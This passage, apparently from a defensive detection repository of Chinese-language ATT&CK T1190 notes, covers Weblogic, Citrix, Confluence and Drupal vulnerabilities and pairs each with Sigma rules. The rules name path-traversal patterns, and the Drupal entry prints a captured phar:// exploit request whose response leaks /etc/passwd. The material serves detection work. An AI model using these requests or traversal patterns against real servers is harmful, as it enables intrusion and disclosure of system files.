2018/07/22\nmodified: 2020/03/14\nstatus: experimental\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894\n    - https://blog.csdn.net/weixin_43625577/article/details/97001677\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        c-uri:\n            - '*/config/keystore/*.js*'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nWeblogic任意文件上传漏洞（CVE-2018-2894）复现\n<https://blog.csdn.net/weixin_43625577/article/details/97001677>\n"
  },
  {
    "path": "Web/long time/T1190-CVE-2019-19781-远程代码执行检测.md",
    "content": "# T1190-CVE-2019-19781远程代码执行\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nCitrix旗下多款交付控制器和网关存在RCE漏洞，攻击者在无需身份验证的情况下就可执行任意命令。根据其他安全网站的说法，这个RCE漏洞会有一个标记漏洞（其中之一的标记），即本次报道的Citrx路径遍历漏洞（CVE-2019-19781）。Citrx路径遍历漏洞（CVE-2019-19781）利用方式的PoC已被公开。该漏洞利用复杂性低，且无权限要求，攻击者只能遍历vpns文件夹，但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探，从而发起进一步精准攻击。\n漏洞影响范围：\nCitrix NetScaler ADC and NetScaler Gateway version 10.5\nCitrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1\nCitrix ADC and Citrix Gateway version 13.0\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞利用过程：\n1.pl文件未对NSC_USER参数传入进行过滤\n2.触发目录穿越\n3.在模板目录的XML文件写入命令\n4.模板引擎分析后执行命令\n漏洞利用建议参考：\nCVE-2019-19781 远程代码执行漏洞复现\n<https://www.cnblogs.com/panisme/p/12542721.html>\nCitrix路径遍历（CVE-2019-19781）\n<https://www.jianshu.com/p/03b175711524>\n## 测试留痕\n暂无实测，故无留痕\n## 检测规则/思路\n### Sigma规则\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n```\nyml\ntitle: 检测Citrix CVE-2019-19781漏洞利用行为\nreferences:\n    - https://www.jianshu.com/p/03b175711524\n    - https://www.jianshu.com/p/03b175711524\nstatus: experimental\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        c-uri:\n            - '*/../vpns/*' #根据此次公开的PoC显示，该洞目录遍历被限制子在vpns文件夹下，任意用户可通过HTTP请求直接访问该目录下的文件。\n            - '*/vpns/cfg/smb.conf' #根据此次公开的PoC显示，该洞目录遍历被限制子在vpns文件夹下，任意用户可通过HTTP请求直接访问该目录下的文件。\n            - '*/vpns/portal/scripts/*.pl*' #利用目录穿越写入命令语句到newbm.pl文件中\n    condition: selection\nfields:\n    - client_ip\n    - vhost\n    - url\n    - response\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n"
  },
  {
    "path": "Web/long time/T1190-CVE-2019-3398-Confluence路径穿越漏洞.md",
    "content": "# T1190-CVE-2019-3398 Confluence路径穿越漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nConfluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户，或具有创建新空间或个人空间权限的用户，或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。\n漏洞影响范围：\n2.0.0 <= version < 6.6.13\n6.7.0 <= version < 6.12.4\n6.13.0 <= version < 6.13.4\n6.14.0 <= version < 6.14.3\n6.15.0 <= version < 6.15.2\n## 检测日志\nHTTP.log\n## 测试复现\n漏洞利用建议参考：\n（环境搭建+复现）CVE-2019-3398 Confluence路径穿越漏洞\n<https://blog.csdn.net/qq_40989258/article/details/105274370>\n## 测试留痕\n暂无实测，故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。\n![POST请求数据包](https://img-blog.csdnimg.cn/20200402185139129.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQwOTg5MjU4,size_16,color_FFFFFF,t_70)\n## 检测规则/思路\n### Sigma规则\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n```\nyml\ntitle: Confluence_CVE-2019-3398漏洞利用行为检测\nstatus: experimental\ndescription: 检测CVE-2019-3398中描述的路径穿越漏洞的利用行为\nreferences:\n    - https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181\n    - https://blog.csdn.net/qq_40989258/article/details/105274370\nauthor: Florian Roth\ntranslator: 12306Bro\ndate: 2020/05/26\ntags:\n    - attack.initial_access\n    - attack.t1190\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        cs-method: 'POST'\n        c-uri|contains|all:\n            - '/upload.action'\n            - 'filename=../../../../'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: critical\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n（环境搭建+复现）CVE-2019-3398 Confluence路径穿越漏洞\n<https://blog.csdn.net/qq_40989258/article/details/105274370>\n"
  },
  {
    "path": "Web/long time/T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md",
    "content": "# T1190-CVE-2019-6339-Drupal 远程代码执行漏洞------\n## 来自ATT&CK的描述------\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。------\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------\n## 测试案例------\nDrupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。人们通常将Drupal拿来和另一个著名的开源CMS，即Joomla进行比较。由于“难度”更大而中文资源较Joomla更少，Drupal在中国的普及程度较Joomla更低。------\nDrupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper（PHP）存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。------\n在Drupal Core版本7.x之前的7.62,8.6.x之前的8.6.6和8.5.x之前的8.5.x; 在对phar://URI执行文件操作时，PHP的内置phar流包装器中存在一个远程执行代码漏洞。一些Drupal代码（core，contrib和custom）可能正在对用户输入执行文件操作，从而暴露于此漏洞。------\n## 检测日志------\nHTTP------\n## 测试复现------\n具体利用过程可参考:<https://blog.csdn.net/qq_40989258/article/details/104970882>------\n## 测试留痕------\n```\nyml\nPOST /admin/config/media/file-system HTTP/1.1\nHost: 172.17.41.106:8080\nConnection: keep-alive\nContent-Length: 340\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://172.17.41.106:8080\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://172.17.41.106:8080/admin/config/media/file-system\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,be;q=0.8\nCookie: 8ciy_2132_ulastactivity=1747%2BBj3bIdraT%2FhUrMgbV9hBzsnRDad5PbJ4P8FXwvrlsfGVbOx; 8ciy_2132_nofavfid=1; 8ciy_2132_saltkey=h7AR59Bx; 8ciy_2132_lastvisit=1603172255; SESS69d0dbb3a7ccb7aab441a7efa90bb8ae=WSVdSnEkxmap5tU9TGG21HegyssjX2hEk8BkBOBEyiU------\nfile_temporary_path=phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F2020-10%2Fblog-ZDI-CAN-7232-cat.jpg&file_default_scheme=public&temporary_maximum_age=21600&form_build_id=form-iN0z3-CojyQl7PlFGKxsy68XNcyvFaBLtQY_ffo-efA&form_token=VUzTpwLaFD0IW9_2rt9ntjULAJ_euh4ZmJkcEJAdEfI&form_id=system_file_system_settings&op=Save+configurationHTTP/1.1 200 OK\nDate: Wed, 21 Oct 2020 07:58:45 GMT\nServer: Apache/2.4.25 (Debian)\nX-Powered-By: PHP/7.2.3\nVary: Accept-Encoding\nContent-Encoding: gzip\nContent-Length: 5215\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=UTF-8------\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\n<!DOCTYPE html>\n<html lang=\"en\" dir=\"ltr\" prefix=\"content: http://purl.org/rss/1.0/modules/content/  dc: http://purl.org/dc/terms/  foaf: http://xmlns.com/foaf/0.1/  og: http://ogp.me/ns#  rdfs: http://www.w3.org/2000/01/rdf-schema#  schema: http://schema.org/  sioc: http://rdfs.org/sioc/ns#  sioct: http://rdfs.org/sioc/types#  skos: http://www.w3.org/2004/02/skos/core#  xsd: http://www.w3.org/2001/XMLSchema# \">\n  <head>\n    <meta charset=\"utf-8\" />\n<noscript><meta http-equiv=\"Refresh\" content=\"0; URL=/big_pipe/no-js?destination=/admin/config/media/file-system\" />\n</noscript><meta name=\"Generator\" content=\"Drupal 8 (https://www.drupal.org)\" />\n<meta name=\"MobileOptimized\" content=\"width\" />\n<meta name=\"HandheldFriendly\" content=\"true\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<link rel=\"shortcut icon\" href=\"/core/misc/favicon.ico\" type=\"image/vnd.microsoft.icon\" />------\n    <title>File system | drupal</title>\n    <link rel=\"stylesheet\" href=\"/sites/default/files/css/css_U8KsIL9-p4iwTqZpkdfkA6i7Xu4DQ29N9DEp1Suvl74.css?0\" media=\"all\" />\n<link rel=\"stylesheet\" href=\"/sites/default/files/css/css_Va4zLdYXDM0x79wYfYIi_RSorpNS_xtrTcNUqq0psQA.css?0\" media=\"screen\" />\n<link rel=\"stylesheet\" href=\"/sites/default/files/css/css_UHkVktzxzRp3Q1t6ZHUZJOcy7NuH6r_v1SicD60WiKQ.css?0\" media=\"all\" />\n<link rel=\"stylesheet\" href=\"/sites/default/files/css/css_yPXzUqDWCKESqAn18LazKt4XtPbSaHRtJYq74XoubYg.css?0\" media=\"all\" />\n- --------------------------------------------------------------------------------------------------------------------------\n<!--[if lte IE 8]>\n<script src=\"/sites/default/files/js/js_VtafjXmRvoUgAzqzYTA3Wrjkx9wcWhjP0G4ZnnqRamA.js\"></script>\n<![endif]-->\n<script src=\"/core/assets/vendor/modernizr/modernizr.min.js?v=3.3.1\"></script>------\n  </head>\n  <body class=\"toolbar-tray-open toolbar-horizontal toolbar-fixed toolbar-loading user-logged-in path-admin\">\n        <a href=\"#main-content\" class=\"visually-hidden focusable skip-link\">\n      Skip to main content\n    </a>\n    <div id=\"toolbar-administration\" role=\"group\" aria-label=\"Site administration toolbar\" class=\"toolbar\">\n  <nav id=\"toolbar-bar\" role=\"navigation\" aria-label=\"Toolbar items\" class=\"toolbar-bar clearfix\">\n    <h2 class=\"visually-hidden\">Toolbar items</h2>\n                <div class=\"home-toolbar-tab toolbar-tab\">\n        <a href=\"/\" title=\"Return to site content\" class=\"toolbar-icon toolbar-icon-escape-admin toolbar-item\" data-toolbar-escape-admin>Back to site</a>\n        <div><nav class=\"toolbar-lining clearfix\" role=\"navigation\"></nav></div>      </div>\n                <div class=\"toolbar-tab\">\n        <a href=\"/admin\" title=\"Admin menu\" class=\"toolbar-icon toolbar-icon-menu trigger toolbar-item\" data-drupal-subtrees=\"\" id=\"toolbar-item-administration\" data-toolbar-tray=\"toolbar-item-administration-tray\" aria-owns=\"toolbar-item-administration-tray\" role=\"button\" aria-pressed=\"false\">Manage</a>\n        <div id=\"toolbar-item-administration-tray\" data-toolbar-tray=\"toolbar-item-administration-tray\" class=\"toolbar-tray\"><nav class=\"toolbar-lining clearfix\" role=\"navigation\" aria-label=\"Administration menu\"><h3 class=\"toolbar-tray-name visually-hidden\">Administration menu</h3><div class=\"toolbar-menu-administration\"><ul class=\"toolbar-menu\"><li class=\"menu-item menu-item--collapsed\"><a href=\"/admin/content\" title=\"Find and manage content.\" id=\"toolbar-link-system-admin_content\" class=\"toolbar-icon toolbar-icon-system-admin-content\" data-drupal-link-system-path=\"admin/content\">Content</a></li><li class=\"menu-item menu-item--collapsed\"><a href=\"/admin/structure\" title=\"Administer blocks, content types, menus, etc.\" id=\"toolbar-link-system-admin_structure\" class=\"toolbar-icon toolbar-icon-system-admin-structure\" data-drupal-link-system-path=\"admin/structure\">Structure</a></li><li class=\"menu-item\"><a href=\"/admin/appearance\" title=\"Select and configure themes.\" id=\"toolbar-link-system-themes_page\" class=\"toolbar-icon toolbar-icon-system-themes-page\" data-drupal-link-system-path=\"admin/appearance\">Appearance</a></li><li class=\"menu-item\"><a href=\"/admin/modules\" title=\"Add and enable modules to extend site functionality.\" id=\"toolbar-link-system-modules_list\" class=\"toolbar-icon toolbar-icon-system-modules-list\" data-drupal-link-system-path=\"admin/modules\">Extend</a></li><li class=\"menu-item menu-item--collapsed\"><a href=\"/admin/config\" title=\"Administer settings.\" id=\"toolbar-link-system-admin_config\" class=\"toolbar-icon toolbar-icon-system-admin-config\" data-drupal-link-system-path=\"admin/config\">Configuration</a></li><li class=\"menu-item\"><a href=\"/admin/people\" title=\"Manage user accounts, roles, and permissions.\" id=\"toolbar-link-entity-user-collection\" class=\"toolbar-icon toolbar-icon-entity-user-collection\" data-drupal-link-system-path=\"admin/people\">People</a></li><li class=\"menu-item menu-item--collapsed\"><a href=\"/admin/reports\" title=\"View reports, updates, and errors.\" id=\"toolbar-link-system-admin_reports\" class=\"toolbar-icon toolbar-icon-system-admin-reports\" data-drupal-link-system-path=\"admin/reports\">Reports</a></li><li class=\"menu-item\"><a href=\"/admin/help\" title=\"Reference for usage, configuration, and modules.\" id=\"toolbar-link-help-main\" class=\"toolbar-icon toolbar-icon-help-main\" data-drupal-link-system-path=\"admin/help\">Help</a></li></ul></div></nav></div>      </div>\n                <div class=\"toolbar-tab\">\n        <a href=\"/admin/config/user-interface/shortcut\" title=\"Shortcuts\" class=\"toolbar-icon toolbar-icon-shortcut trigger toolbar-item\" id=\"toolbar-item-shortcuts\" data-toolbar-tray=\"toolbar-item-shortcuts-tray\" aria-owns=\"toolbar-item-shortcuts-tray\" role=\"button\" aria-pressed=\"false\">Shortcuts</a>\n        <div id=\"toolbar-item-shortcuts-tray\" data-toolbar-tray=\"toolbar-item-shortcuts-tray\" class=\"toolbar-tray\"><nav class=\"toolbar-lining clearfix\" role=\"navigation\" aria-label=\"User-defined shortcuts\"><h3 class=\"toolbar-tray-name visually-hidden\">User-defined shortcuts</h3><ul class=\"toolbar-menu\"><li><a href=\"/node/add\">Add content</a></li><li><a href=\"/admin/content\">All content</a></li></ul><a href=\"/admin/config/user-interface/shortcut/manage/default/customize\" class=\"edit-shortcuts\">Edit shortcuts</a></nav></div>      </div>\n                <div class=\"hidden contextual-toolbar-tab toolbar-tab\">\n        <button class=\"toolbar-icon toolbar-icon-edit toolbar-item\" aria-pressed=\"false\" type=\"button\">Edit</button>------\n        <div><nav class=\"toolbar-lining clearfix\" role=\"navigation\"></nav></div>      </div>\n                <div class=\"tour-toolbar-tab hidden toolbar-tab\" id=\"toolbar-tab-tour\">\n        <button class=\"toolbar-icon toolbar-icon-help toolbar-item\" aria-pressed=\"false\" type=\"button\">Tour</button>------\n        <div><nav class=\"toolbar-lining clearfix\" role=\"navigation\"></nav></div>      </div>\n                <div class=\"toolbar-tab\">\n        <a href=\"/user\" title=\"My account\" class=\"toolbar-icon toolbar-icon-user trigger toolbar-item\" id=\"toolbar-item-user\" data-toolbar-tray=\"toolbar-item-user-tray\" aria-owns=\"toolbar-item-user-tray\" role=\"button\" aria-pressed=\"false\">admin</a>\n        <div id=\"toolbar-item-user-tray\" data-toolbar-tray=\"toolbar-item-user-tray\" class=\"toolbar-tray\"><nav class=\"toolbar-lining clearfix\" role=\"navigation\" aria-label=\"User account actions\"><h3 class=\"toolbar-tray-name visually-hidden\">User account actions</h3><ul class=\"toolbar-menu\"><li class=\"account\"><a href=\"/user\" title=\"User account\">View profile</a></li><li class=\"account-edit\"><a href=\"/user/1/edit\" title=\"Edit user account\">Edit profile</a></li><li class=\"logout\"><a href=\"/user/logout\">Log out</a></li></ul></nav></div>      </div>\n      </nav>\n- -----\n</div>------\n      <div class=\"dialog-off-canvas-main-canvas\" data-off-canvas-main-canvas>\n      <header class=\"content-header clearfix\">\n    <div class=\"layout-container\">\n        <div class=\"region region-header\">\n    <div id=\"block-seven-page-title\" class=\"block block-core block-page-title-block\">\n---------------------------------------------------------------------------------\n  <h1 class=\"js-quickedit-page-title page-title\">File system</h1>\n<a href=\"/admin/config/user-interface/shortcut/manage/default/add-link-inline?link=admin/config/media/file-system&amp;name=File%20system&amp;destination=/admin/config/media/file-system&amp;token=flS1Fo4ABnGysV5WkcZ2RBFadVpFgQ63k_MtjYRuPHE\" class=\"shortcut-action shortcut-action--add\"><span class=\"shortcut-action__icon\"></span><span class=\"shortcut-action__message\">Add to <em class=\"placeholder\">Default</em> shortcuts</span></a>------\n  </div>------\n  </div>------\n    </div>\n  </header>------\n  <div class=\"layout-container\">---------------------------------------------------------------------------------------------------------------------------\n      <div class=\"region region-breadcrumb\">\n    <div id=\"block-seven-breadcrumbs\" class=\"block block-system block-system-breadcrumb-block\">\n  - --------------------------------------------------------------------------------------------------------------------------\n        <nav class=\"breadcrumb\" role=\"navigation\" aria-labelledby=\"system-breadcrumb\">\n    <h2 id=\"system-breadcrumb\" class=\"visually-hidden\">Breadcrumb</h2>\n    <ol>\n          <li>\n                  <a href=\"/\">Home</a>\n              </li>\n          <li>\n                  <a href=\"/admin\">Administration</a>\n              </li>\n          <li>\n                  <a href=\"/admin/config\">Configuration</a>\n              </li>\n          <li>\n                  <a href=\"/admin/config/media\">Media</a>\n              </li>\n        </ol>\n  </nav>------\n  </div>------\n  </div>------\n    <main class=\"page-content clearfix\" role=\"main\">\n      <div class=\"visually-hidden\"><a id=\"main-content\" tabindex=\"-1\"></a></div>\n        <div class=\"region region-highlighted\">\n        <div role=\"contentinfo\" aria-label=\"Error message\" class=\"messages messages--error\">\n          <div role=\"alert\">\n                  <h2 class=\"visually-hidden\">Error message</h2>\n                    The directory <em class=\"placeholder\">phar://./sites/default/files/pictures/2020-10/blog-ZDI-CAN-7232-cat.jpg</em> does not exist and could not be created.\n                </div>\n      </div>---------------------------------------------------------------------------------------------------------------------------------\n  </div>------\n              <div class=\"help\">\n        - -----\n        </div>\n              <div class=\"region region-content\">\n    <div id=\"block-seven-content\" class=\"block block-system block-system-main-block\">\n  - --------------------------------------------------------------------------------------------------------------------------\n      <form class=\"system-file-system-settings\" data-drupal-selector=\"system-file-system-settings\" action=\"/admin/config/media/file-system\" method=\"post\" id=\"system-file-system-settings\" accept-charset=\"UTF-8\">\n  <div id=\"edit-file-public-path\" class=\"js-form-item form-item js-form-type-item form-type-item js-form-item-file-public-path form-item-file-public-path\">\n      <label for=\"edit-file-public-path\">Public file system path</label>\n        sites/default/files\n            <div id=\"edit-file-public-path--description\" class=\"description\">\n      A local file system path where public files will be stored. This directory must exist and be writable by Drupal. This directory must be relative to the Drupal installation directory and be accessible over the web. This must be changed in settings.php\n    </div>\n  </div>\n<div id=\"edit-file-public-base-url\" class=\"js-form-item form-item js-form-type-item form-type-item js-form-item-file-public-base-url form-item-file-public-base-url\">\n      <label for=\"edit-file-public-base-url\">Public file base URL</label>\n        http://172.17.41.106:8080/sites/default/files\n            <div id=\"edit-file-public-base-url--description\" class=\"description\">\n      The base URL that will be used for public file URLs. This can be changed in settings.php\n    </div>\n  </div>\n<div id=\"edit-file-private-path\" class=\"js-form-item form-item js-form-type-item form-type-item js-form-item-file-private-path form-item-file-private-path\">\n      <label for=\"edit-file-private-path\">Private file system path</label>\n        Not set\n            <div id=\"edit-file-private-path--description\" class=\"description\">\n      An existing local file system path for storing private files. It should be writable by Drupal and not accessible over the web. This must be changed in settings.php\n    </div>\n  </div>\n<div class=\"js-form-item form-item js-form-type-textfield form-type-textfield js-form-item-file-temporary-path form-item-file-temporary-path\">\n      <label for=\"edit-file-temporary-path\">Temporary directory</label>\n        <input data-drupal-selector=\"edit-file-temporary-path\" aria-describedby=\"edit-file-temporary-path--description\" type=\"text\" id=\"edit-file-temporary-path\" name=\"file_temporary_path\" value=\"phar://./sites/default/files/pictures/2020-10/blog-ZDI-CAN-7232-cat.jpg\" size=\"60\" maxlength=\"255\" class=\"form-text error\" aria-invalid=\"true\" />------\n            <div id=\"edit-file-temporary-path--description\" class=\"description\">\n      A local file system path where temporary files will be stored. This directory should not be accessible over the web.\n    </div>\n  </div>\n<fieldset data-drupal-selector=\"edit-file-default-scheme\" aria-describedby=\"edit-file-default-scheme--wrapper--description\" id=\"edit-file-default-scheme--wrapper\" class=\"fieldgroup form-composite js-form-item form-item js-form-wrapper form-wrapper\">\n      <legend>\n    <span class=\"fieldset-legend\">Default download method</span>\n  </legend>\n  <div class=\"fieldset-wrapper\">\n            <div id=\"edit-file-default-scheme\" class=\"form-radios\"><div class=\"js-form-item form-item js-form-type-radio form-type-radio js-form-item-file-default-scheme form-item-file-default-scheme\">\n        <input data-drupal-selector=\"edit-file-default-scheme-public\" aria-describedby=\"edit-file-default-scheme--description\" type=\"radio\" id=\"edit-file-default-scheme-public\" name=\"file_default_scheme\" value=\"public\" checked=\"checked\" class=\"form-radio\" />------\n        <label for=\"edit-file-default-scheme-public\" class=\"option\">Public local files served by the webserver.</label>\n      </div>\n</div>------\n              <div id=\"edit-file-default-scheme--wrapper--description\" class=\"description\">This setting is used as the preferred download method. The use of public files is more efficient, but does not provide any access control.</div>\n      </div>\n</fieldset>\n<div class=\"js-form-item form-item js-form-type-select form-type-select js-form-item-temporary-maximum-age form-item-temporary-maximum-age\">\n      <label for=\"edit-temporary-maximum-age\">Delete temporary files after</label>\n        <select data-drupal-selector=\"edit-temporary-maximum-age\" aria-describedby=\"edit-temporary-maximum-age--description\" id=\"edit-temporary-maximum-age\" name=\"temporary_maximum_age\" class=\"form-select\"><option value=\"0\">Never</option><option value=\"21600\" selected=\"selected\">6 hours</option><option value=\"43200\">12 hours</option><option value=\"86400\">1 day</option><option value=\"604800\">1 week</option><option value=\"2419200\">4 weeks</option><option value=\"7776000\">3 months</option></select>\n            <div id=\"edit-temporary-maximum-age--description\" class=\"description\">\n      Temporary files are not referenced, but are in the file system and therefore may show up in administrative lists. <strong>Warning:</strong> If enabled, temporary files will be permanently deleted and may not be recoverable.\n    </div>\n  </div>\n<input autocomplete=\"off\" data-drupal-selector=\"form-xxnkpoc7rzwnq4z5jmb-mz1kjulxko1wlfebmesxg0e\" type=\"hidden\" name=\"form_build_id\" value=\"form-XXNkPoC7rZwnq4z5JMb-mz1KJulxKo1WLFEbmESXg0E\" />\n<input data-drupal-selector=\"edit-system-file-system-settings-form-token\" type=\"hidden\" name=\"form_token\" value=\"VUzTpwLaFD0IW9_2rt9ntjULAJ_euh4ZmJkcEJAdEfI\" />\n<input data-drupal-selector=\"edit-system-file-system-settings\" type=\"hidden\" name=\"form_id\" value=\"system_file_system_settings\" />\n<div data-drupal-selector=\"edit-actions\" class=\"form-actions js-form-wrapper form-wrapper\" id=\"edit-actions\"><input data-drupal-selector=\"edit-submit\" type=\"submit\" id=\"edit-submit\" name=\"op\" value=\"Save configuration\" class=\"button button--primary js-form-submit form-submit\" />\n</div>------\n</form>------\n  </div>------\n  </div>------\n    </main>------\n  </div>------\n  </div>\n- --------------------------------------------------------------------------------------------------------------------------\n    <script type=\"application/json\" 